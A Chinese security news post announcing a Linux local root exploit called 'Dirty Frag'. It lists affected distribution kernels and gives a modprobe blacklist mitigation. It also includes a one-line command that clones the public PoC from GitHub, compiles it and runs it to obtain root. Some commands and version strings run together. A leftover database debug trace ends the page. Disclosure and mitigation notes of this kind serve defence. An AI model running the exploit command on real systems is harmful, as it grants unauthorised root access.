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Linux LPE通用提权 0day目前没有漏洞编号

  • 2026-06-30 00:56:03
Linux LPE通用提权 0day目前没有漏洞编号

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介绍:

漏洞名称:Dirty Frag

发现时间:2026年5月7日

严重程度:高危(Critical)

风险描述:本地未授权用户可稳定实现权限提升(LPE)至 root 权限,成功率极高,无需竞争条件,且失败不会引发内核崩溃(panic)。

官方仓库 & PoC:

https://github.com/V4bel/dirtyfrag
验证方式
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

或者

git clone https://github.com/V4bel/dirtyfrag.gitcd dirtyfraggcc -O0 -Wall -o exp exp.c -lutil && ./exp

该 PoC 是在与 Linux 发行版协商后提供准确信息。不要在你未被授权测试的系统上使用它。

受影响版本

    Ubuntu 24.04.46.17.0-23-genericRHEL 10.16.12.0-124.49.1.el10_1.x86_64openSUSE Tumbleweed7.0.2-1-defaultCentOS Stream 106.12.0-224.el10.x86_64AlmaLinux 106.12.0-124.52.3.el10_1.x86_64Fedora 446.19.14-300.fc44.x86_64...
    frm-ESP 页面缓存写入漏洞的影响范围始于提交 cac2661c53f3(2017年1月17日),RxRPC 页面缓存写入漏洞的影响范围始于提交 2dc334f1a63a(2023年6月),两者均持续影响至当前最新上游版本。
    换言之,该漏洞在代码中存在时间总计约9年

    修复方法:

    sh -"printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"

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    1. CONNECT:[ UseTime:0.000529s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
    2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000722s ]
    3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000334s ]
    4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000259s ]
    5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000510s ]
    6. SELECT * FROM `set` [ RunTime:0.007114s ]
    7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000623s ]
    8. SELECT * FROM `article` WHERE `id` = 492213 LIMIT 1 [ RunTime:0.000390s ]
    9. UPDATE `article` SET `lasttime` = 1783072731 WHERE `id` = 492213 [ RunTime:0.028611s ]
    10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000317s ]
    11. SELECT * FROM `article` WHERE `id` < 492213 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000526s ]
    12. SELECT * FROM `article` WHERE `id` > 492213 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000409s ]
    13. SELECT * FROM `article` WHERE `id` < 492213 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.003589s ]
    14. SELECT * FROM `article` WHERE `id` < 492213 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.042952s ]
    15. SELECT * FROM `article` WHERE `id` < 492213 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.014485s ]
    0.174783s